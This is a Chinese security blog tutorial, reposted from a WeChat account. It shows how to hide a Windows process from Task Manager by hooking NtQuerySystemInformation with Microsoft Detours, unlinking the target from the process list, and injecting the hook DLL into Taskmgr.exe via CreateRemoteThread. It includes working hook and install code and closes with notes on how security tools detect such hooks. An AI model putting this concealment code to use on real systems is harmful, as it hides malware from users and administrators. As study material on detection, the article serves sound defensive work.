精选11:Windows安全|InlineHook实战(二)进程隐藏

admin 2026-02-02 00:43:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了利用Detours库HookNtQuerySystemInformation实现进程隐藏的实战技术。通过修改SYSTEM_PROCESS_INFORMATION链表的NextEntryOffset进行断链,使目标在任务管理器不可见。文章详述了DLL编写、Hook安装及远程注入流程,并分析了Ring3Hook局限性与内核检测对抗思路。 综合评分: 94 文章分类: 二进制安全,红队,免杀


cover_image

精选11:Windows安全 | Inline Hook 实战(二)进程隐藏

八九 八九

希水涵精选录

2026年1月25日 08:49 山东

「希水涵精选录」是 ABC_123 运营的第2个公众号,主要转载经过筛选的优秀技术文章,欢迎大家积极投稿!

Part1 前言

在上一篇文章中,我们聊了 Inline Hook 的基本原理——修改函数头的 JMP 指令,以此劫持执行流。但如果在生产环境手搓汇编,会被各种指令长度、内存对齐、线程竞争教做人。因此这篇文章将介绍如何利用Detours实现hook并完成一定程度上的进程隐藏。

Part2 技术研究过程

  • ## 0x01 为什么我们需要 Detours?

回顾一下,手动实现 Inline Hook 存在如下问题:

1.  原子性问题:你刚写了前两个字节的 JMP,CPU 上下文切换了,另一个线程执行到了这儿,程序崩了。

2.  指令截断:X64 的指令长度是不定长的。覆盖了 5 个字节,可能会把一条 6 字节指令截成了两半,影响后续执行。

3.  Trampoline(跳板):为了调用原函数,得把覆盖掉的指令搬运到别处,还得修复这些指令里的相对偏移地址。

为了不掉头发,微软研究院推出了 Detours:1. 自动处理指令反汇编和重组;2. 支持事务模型(Transaction),保证 Hook 的原子性;3. 自动维护 Trampoline,让你在 Hook 函数里能像调用普通函数一样调用原函数。

https://github.com/microsoft/Detours

  • ## 0x02 Detours使用

克隆到本地后,使用visual studio进行编译,区分为x86,以及x64。搜索:x64 Native Tools Command Prompt for VS。

切换到Detrous目录,nmake进行编译。

Detours 的 API 设计非常优雅,它把我们头疼的 VirtualAllocmemcpy、计算指令长度(LDE)、解决指令截断等脏活累活全部封装好了。

  • ## 0x03 任务管理器基础知识

要欺骗任务管理器(Taskmgr.exe),首先得知道它是怎么获取进程列表的。当我们打开任务管理器,它会逐层向下调用 API:

Taskmgr.exe -> Kernel32.dll (CreateToolhelp32Snapshot / EnumProcesses) -> Ntdll.dll -> NtQuerySystemInformation

最终,几乎所有查看系统信息的工具(包括 Process Hacker 等),在 Ring3 层都会汇聚到 ntdll.dll 导出的一个未文档化(Undocumented)函数:

NTSTATUS NtQuerySystemInformation(  SYSTEM_INFORMATION_CLASS SystemInformationClass,  PVOID                    SystemInformation,  ULONG                    SystemInformationLength,  PULONG                   ReturnLength);

当 SystemInformationClass 参数被设为 SystemProcessInformation (枚举值为 5) 时,这个函数会返回一个巨大的内存块,里面塞满了当前系统所有进程的信息。

核心数据结构:SYSTEM_PROCESS_INFORMATION。这个返回的内存块,本质上是一个单向链表。但它不是指针连接的,而是通过“偏移量(Offset)”连接的。我们来看下这个结构体在内存中的样子:

typedef&nbsp;struct&nbsp;_SYSTEM_PROCESS_INFORMATION&nbsp;{&nbsp; &nbsp; ULONG NextEntryOffset; &nbsp; &nbsp; &nbsp;// <--- 核心:指向下一个结构体的偏移量&nbsp; &nbsp; ULONG NumberOfThreads;&nbsp; &nbsp; BYTE Reserved1[48];&nbsp; &nbsp; UNICODE_STRING ImageName; &nbsp;&nbsp;// 进程名,比如 "notepad.exe"&nbsp; &nbsp; KPRIORITY BasePriority;&nbsp; &nbsp; HANDLE UniqueProcessId; &nbsp; &nbsp;&nbsp;// PID&nbsp; &nbsp; PVOID Reserved2;&nbsp; &nbsp; ULONG HandleCount;&nbsp; &nbsp; ULONG SessionId;&nbsp; &nbsp; PVOID Reserved3;&nbsp; &nbsp; SIZE_T PeakVirtualSize;&nbsp; &nbsp;&nbsp;// ... 后面还有很多字段} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

NextEntryOffset:这是最重要的字段。它告诉我们,下一个进程的信息距离当前地址有多少字节。如果这个值为 0,说明这是链表的最后一个节点。

  • ## 0x04 断链核心原理

知道了数据结构,隐藏进程的思路就呼之欲出了。既然是一个链表,如果我们想隐藏中间的某个节点(比如我们的木马进程),我们只需要修改上一个节点的 NextEntryOffset,让它直接指向下下个节点,越过我们的目标即可。

断链后:

  • ## 0x05 核心代码实现

Talk is cheap, show me the code. 我们基于 Microsoft Detours 库来实现这个逻辑。首先,我们需要定义好函数指针和 SYSTEM_PROCESS_INFORMATION 结构体(由于这是未公开 API,头文件通常需要自己去抠,或者引用 winternl.h 并补充定义)。

1. hook函数编写

这是整个工程的灵魂。当系统(比如任务管理器)调用 NtQuerySystemInformation 时,会先进入我们的这个函数。

// 原始函数的函数指针,用于保存“真身”typedef&nbsp;NTSTATUS&nbsp;(WINAPI *PNT_QUERY_SYSTEM_INFORMATION)(&nbsp; &nbsp; __in &nbsp; &nbsp; &nbsp; SYSTEM_INFORMATION_CLASS SystemInformationClass,&nbsp; &nbsp; __inout &nbsp; &nbsp;PVOID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SystemInformation,&nbsp; &nbsp; __in &nbsp; &nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SystemInformationLength,&nbsp; &nbsp; __out_opt &nbsp;PULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ReturnLength);
// 保存原始函数的地址,Detours 会用到PNT_QUERY_SYSTEM_INFORMATION&nbsp;RealNtQuerySystemInformation&nbsp;=&nbsp;&nbsp; &nbsp; (PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle(L"ntdll"),&nbsp;"NtQuerySystemInformation");
// 我们自己的 Hook 函数NTSTATUS WINAPI&nbsp;HookedNtQuerySystemInformation(&nbsp; &nbsp; __in &nbsp; &nbsp; &nbsp; SYSTEM_INFORMATION_CLASS SystemInformationClass,&nbsp; &nbsp; __inout &nbsp; &nbsp;PVOID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SystemInformation,&nbsp; &nbsp; __in &nbsp; &nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SystemInformationLength,&nbsp; &nbsp; __out_opt &nbsp;PULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ReturnLength){&nbsp; &nbsp;&nbsp;// 1. 先调用原始函数,获取真实的系统进程列表&nbsp; &nbsp;&nbsp;// &nbsp; &nbsp;如果不调用,我们就没有数据可以修改,任务管理器就白板了&nbsp; &nbsp;&nbsp;NTSTATUS&nbsp;status&nbsp;=&nbsp;RealNtQuerySystemInformation(&nbsp; &nbsp; &nbsp; &nbsp; SystemInformationClass,&nbsp; &nbsp; &nbsp; &nbsp; SystemInformation,&nbsp; &nbsp; &nbsp; &nbsp; SystemInformationLength,&nbsp; &nbsp; &nbsp; &nbsp; ReturnLength&nbsp; &nbsp; );
&nbsp; &nbsp;&nbsp;// 2. 检查调用是否成功,且请求的是否是进程信息 (枚举值 5)&nbsp; &nbsp;&nbsp;if&nbsp;(NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 转换指针,指向返回的内存块头部&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;PSYSTEM_PROCESS_INFORMATION&nbsp;pCurrent&nbsp;=&nbsp;(PSYSTEM_PROCESS_INFORMATION)SystemInformation;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;PSYSTEM_PROCESS_INFORMATION&nbsp;pPrev&nbsp;=&nbsp;NULL;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 3. 开始遍历链表&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(true)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取当前节点的进程名&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 注意:ImageName.Buffer 可能为空(如 System Idle Process)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pCurrent->ImageName.Buffer != NULL)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 4. 判断是否是我们要隐藏的目标进程&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 这里假设我们要隐藏 "HideMe.exe"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(_wcsicmp(pCurrent->ImageName.Buffer, L"HideMe.exe") ==&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 找到了!准备断链!
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pPrev)&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 情况A:如果你不是第一个节点&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pCurrent->NextEntryOffset !=&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 核心操作:前一个节点的 Offset += 当前节点的 Offset&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 效果:前一个节点直接跳过当前节点&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pPrev->NextEntryOffset += pCurrent->NextEntryOffset;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 情况B:如果你是最后一个节点&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 直接让前一个节点变成最后一个节点&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pPrev->NextEntryOffset =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 情况C:如果你是第一个节点(极少见,通常是 System)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 这种情况下由于没有 pPrev,处理起来比较麻烦,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 通常可以直接把内存数据往前挪,或者忽略不处理&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 注意:断链后,不要移动 pPrev,因为当前 pCurrent 已经被移除了&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// pPrev 应该继续指向 pCurrent 之后的那个新节点&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 如果不是目标进程,pPrev 跟进&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pPrev = pCurrent;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pPrev = pCurrent;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 移动到下一个节点&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pCurrent->NextEntryOffset ==&nbsp;0)&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pCurrent = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->NextEntryOffset);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;status;}

2. 安装钩子

写好了 Hook 函数,还得把它挂上去。这里就轮到 Detours 登场了。

BOOL&nbsp;APIENTRY DllMain( HMODULE hModule,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DWORD &nbsp;ul_reason_for_call,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LPVOID lpReserved&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;){&nbsp; &nbsp;&nbsp;switch&nbsp;(ul_reason_for_call)&nbsp; &nbsp; {&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 禁用线程库调用以避免死锁&nbsp; &nbsp; &nbsp; &nbsp; DisableThreadLibraryCalls(hModule);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 初始化 Detours 事务&nbsp; &nbsp; &nbsp; &nbsp; DetourTransactionBegin();&nbsp; &nbsp; &nbsp; &nbsp; DetourUpdateThread(GetCurrentThread());
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 核心:将我们的 Hooked 函数附加到 Real 函数上&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Detours 会自动修改内存、处理 Trampoline&nbsp; &nbsp; &nbsp; &nbsp; DetourAttach(&(PVOID&)RealNtQuerySystemInformation, HookedNtQuerySystemInformation);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 提交事务&nbsp; &nbsp; &nbsp; &nbsp; DetourTransactionCommit();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_DETACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 卸载钩子,养成好习惯&nbsp; &nbsp; &nbsp; &nbsp; DetourTransactionBegin();&nbsp; &nbsp; &nbsp; &nbsp; DetourUpdateThread(GetCurrentThread());&nbsp; &nbsp; &nbsp; &nbsp; DetourDetach(&(PVOID&)RealNtQuerySystemInformation, HookedNtQuerySystemInformation);&nbsp; &nbsp; &nbsp; &nbsp; DetourTransactionCommit();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}
  • ## 0x06 注入

代码写好了,编译成 HideProcessHook.dll。我们需要将其塞进目标进程,也就是Taskmgr.exe的内存空间。因为 NtQuerySystemInformation 是在 Taskmgr.exe 的进程空间内被调用的,根据 Copy-On-Write 机制和虚拟内存隔离原理,我们必须在这个进程内部修改函数,才能影响它。

最经典的注入方式:远程线程注入 (Remote Thread Injection)。其流程简述如下:

1.  GetProcessId:找到任务管理器的 PID。

2.  OpenProcess:打开进程,申请 PROCESS_ALL_ACCESS 权限。

3.  VirtualAllocEx:在对方体内申请一块内存。

4. WriteProcessMemory:把我们 DLL 的完整路径(例如 C:\\Hacks\\HideProcessHook.dll)写到这块内存里。

  1.  CreateRemoteThread:在对方进程里创建一个线程,线程的入口函数设为 LoadLibraryW,参数设为刚才写入的路径地址。

这样,任务管理器就会被迫调用 LoadLibrary 加载我们的 DLL。一旦 DLL 加载,DllMain 触发,Hook 生效,HideMe.exe 从此在列表中消失。完整项目代码在GitHub:https://github.com/x1a02/wechat。编译好HideMe.exe程序后执行,可在任务管理器看见。

执行TaskMgrHook.exe文件,成功hook,将HideMe程序隐藏。

但是还有一个问题,目前只是在R3层面对特定的程序进行hook,如果使用其他分析软件例如Process Hacker还是能看到HideMe这个进程。

Part3 总结与思考

至此,我们完成了一次完整的从 Ring3 API 劫持到进程隐藏的实战。把整个流程串起来如下:

1.  编写 DLL:利用 Detours Hook NtQuerySystemInformation,在回调中遍历链表并“断链”目标进程。

2.  编写注入器:将 DLL 注入到 Taskmgr.exe

3.  效果:打开任务管理器,HideMe.exe隐藏。

攻防对抗的思考:既然我们能通过 Hook API 欺骗任务管理器,那安全软件怎么查杀呢?

1.  反汇编检查:检查 ntdll.dll 内存中的前几个字节是否被修改为 JMP。

2.  直接系统调用 (Syscall):杀软不走 Kernel32 也不走 Ntdll,直接手写汇编执行 syscall 指令进入内核,绕过所有 Ring3 的钩子。

3.  内核枚举:进入 Ring0,遍历 EPROCESS 结构链表(ActiveProcessLinks)

技术无止境,Hook 只是冰山一角。希望这篇文章能带你推开 Windows 对抗的大门。

希水涵精选录是ABC_123运营的第2个公众号,专注于转载精心筛选的优质技术文章,同时也欢迎大家积极投稿。

Contact me: 2332887682#qq.com** OR 0day123abc#gmail.com**


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:希水涵精选录 八九 八九《精选11:Windows安全 | Inline Hook 实战(二)进程隐藏》

评论:0   参与:  0